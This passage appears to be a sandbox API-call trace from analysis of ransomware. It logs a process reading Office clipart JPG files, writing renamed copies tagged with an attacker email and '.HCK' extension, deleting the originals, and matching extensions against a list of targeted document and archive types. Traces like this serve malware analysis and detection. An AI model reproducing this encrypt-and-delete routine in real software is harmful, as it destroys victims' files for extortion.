Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220 [0236.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.306] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.306] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.307] GetLastError () returned 0x0 [0236.307] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x8379, lpOverlapped=0x0) returned 1 [0236.309] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x8380, lpOverlapped=0x0) returned 1 [0236.310] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.310] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.310] SetEndOfFile (hFile=0x4a4) returned 1 [0236.310] CloseHandle (hObject=0x4a4) returned 1 [0236.310] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.310] SetEndOfFile (hFile=0x4c0) returned 1 [0236.313] CloseHandle (hObject=0x4c0) returned 1 [0236.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0236.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.314] lstrlenW (lpString=".doc") returned 4 [0236.314] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.314] lstrlenW (lpString=".docx") returned 5 [0236.314] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0236.314] lstrlenW (lpString=".pdf") returned 4 [0236.314] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.314] lstrlenW (lpString=".xls") returned 4 [0236.314] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.314] lstrlenW (lpString=".xlsx") returned 5 [0236.314] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0236.314] lstrlenW (lpString=".ppt") returned 4 [0236.314] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.314] lstrlenW (lpString=".zip") returned 4 [0236.314] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.314] lstrlenW (lpString=".rar") returned 4 [0236.314] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.314] lstrlenW (lpString=".bz2") returned 4 [0236.314] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.314] lstrlenW (lpString=".7z") returned 3 [0236.314] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.314] lstrlenW (lpString=".dbf") returned 4 [0236.314] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.314] lstrlenW (lpString=".1cd") returned 4 [0236.314] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.314] lstrlenW (lpString=".jpg") returned 4 [0236.314] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.315] lstrlenW (lpString=".doc") returned 4 [0236.315] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.315] lstrlenW (lpString=".docx") returned 5 [0236.315] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0236.315] lstrlenW (lpString=".pdf") returned 4 [0236.315] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.315] lstrlenW (lpString=".xls") returned 4 [0236.315] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.315] lstrlenW (lpString=".xlsx") returned 5 [0236.315] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0236.315] lstrlenW (lpString=".ppt") returned 4 [0236.315] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.315] lstrlenW (lpString=".zip") returned 4 [0236.315] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.315] lstrlenW (lpString=".rar") returned 4 [0236.315] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.315] lstrlenW (lpString=".bz2") returned 4 [0236.315] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.315] lstrlenW (lpString=".7z") returned 3 [0236.315] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.315] lstrlenW (lpString=".dbf") returned 4 [0236.315] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.315] lstrlenW (lpString=".1cd") returned 4 [0236.315] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0236.315] lstrlenW (lpString=".jpg") returned 4 [0236.315] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.315] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.315] lstrlenW (lpString="J0145212.JPG") returned 12 [0236.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.316] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=61633) returned 1 [0236.316] CloseHandle (hObject=0x4c0) returned 1 [0236.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220 [0236.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.322] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.322] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.323] GetLastError () returned 0x0 [0236.323] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xf0c1, lpOverlapped=0x0) returned 1 [0236.325] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xf0d0, lpOverlapped=0x0) returned 1 [0236.327] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.327] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.327] SetEndOfFile (hFile=0x4a4) returned 1 [0236.327] CloseHandle (hObject=0x4a4) returned 1 [0236.327] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.327] SetEndOfFile (hFile=0x4c0) returned 1 [0236.332] CloseHandle (hObject=0x4c0) returned 1 [0236.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0236.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.333] lstrlenW (lpString=".doc") returned 4 [0236.333] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.333] lstrlenW (lpString=".docx") returned 5 [0236.333] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0236.333] lstrlenW (lpString=".pdf") returned 4 [0236.333] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.333] lstrlenW (lpString=".xls") returned 4 [0236.334] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString=".xlsx") returned 5 [0236.334] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0236.334] lstrlenW (lpString=".ppt") returned 4 [0236.334] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString=".zip") returned 4 [0236.334] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString=".rar") returned 4 [0236.334] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString=".bz2") returned 4 [0236.334] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.334] lstrlenW (lpString=".7z") returned 3 [0236.334] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString=".dbf") returned 4 [0236.334] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString=".1cd") returned 4 [0236.334] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString=".jpg") returned 4 [0236.334] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString=".doc") returned 4 [0236.334] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.334] lstrlenW (lpString=".docx") returned 5 [0236.334] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0236.334] lstrlenW (lpString=".pdf") returned 4 [0236.334] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString=".xls") returned 4 [0236.334] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString=".xlsx") returned 5 [0236.334] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0236.334] lstrlenW (lpString=".ppt") returned 4 [0236.334] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString=".zip") returned 4 [0236.334] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString=".rar") returned 4 [0236.334] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.334] lstrlenW (lpString=".bz2") returned 4 [0236.334] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.334] lstrlenW (lpString=".7z") returned 3 [0236.334] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.334] lstrlenW (lpString=".dbf") returned 4 [0236.335] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.335] lstrlenW (lpString=".1cd") returned 4 [0236.335] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0236.335] lstrlenW (lpString=".jpg") returned 4 [0236.335] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.335] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.335] lstrlenW (lpString="J0145272.JPG") returned 12 [0236.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.335] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=49238) returned 1 [0236.336] CloseHandle (hObject=0x4c0) returned 1 [0236.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220 [0236.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.336] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.336] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.337] GetLastError () returned 0x0 [0236.337] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xc056, lpOverlapped=0x0) returned 1 [0236.340] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xc060, lpOverlapped=0x0) returned 1 [0236.341] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.341] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.669] SetEndOfFile (hFile=0x4a4) returned 1 [0236.669] CloseHandle (hObject=0x4a4) returned 1 [0236.669] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.669] SetEndOfFile (hFile=0x4c0) returned 1 [0236.672] CloseHandle (hObject=0x4c0) returned 1 [0236.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0236.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.673] lstrlenW (lpString=".doc") returned 4 [0236.673] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.673] lstrlenW (lpString=".docx") returned 5 [0236.673] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0236.673] lstrlenW (lpString=".pdf") returned 4 [0236.673] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.673] lstrlenW (lpString=".xls") returned 4 [0236.673] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.673] lstrlenW (lpString=".xlsx") returned 5 [0236.673] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0236.673] lstrlenW (lpString=".ppt") returned 4 [0236.673] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.673] lstrlenW (lpString=".zip") returned 4 [0236.673] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.673] lstrlenW (lpString=".rar") returned 4 [0236.673] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.673] lstrlenW (lpString=".bz2") returned 4 [0236.673] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.673] lstrlenW (lpString=".7z") returned 3 [0236.673] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.673] lstrlenW (lpString=".dbf") returned 4 [0236.674] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString=".1cd") returned 4 [0236.674] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString=".jpg") returned 4 [0236.674] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString=".doc") returned 4 [0236.674] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.674] lstrlenW (lpString=".docx") returned 5 [0236.674] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0236.674] lstrlenW (lpString=".pdf") returned 4 [0236.674] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.674] lstrlenW (lpString=".xls") returned 4 [0236.674] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.674] lstrlenW (lpString=".xlsx") returned 5 [0236.674] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0236.674] lstrlenW (lpString=".ppt") returned 4 [0236.674] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString=".zip") returned 4 [0236.674] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.674] lstrlenW (lpString=".rar") returned 4 [0236.674] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.674] lstrlenW (lpString=".bz2") returned 4 [0236.674] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.674] lstrlenW (lpString=".7z") returned 3 [0236.674] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString=".dbf") returned 4 [0236.674] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString=".1cd") returned 4 [0236.674] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0236.674] lstrlenW (lpString=".jpg") returned 4 [0236.674] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.674] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.675] lstrlenW (lpString="J0146142.JPG") returned 12 [0236.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.676] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=46508) returned 1 [0236.676] CloseHandle (hObject=0x4c0) returned 1 [0236.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220 [0236.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 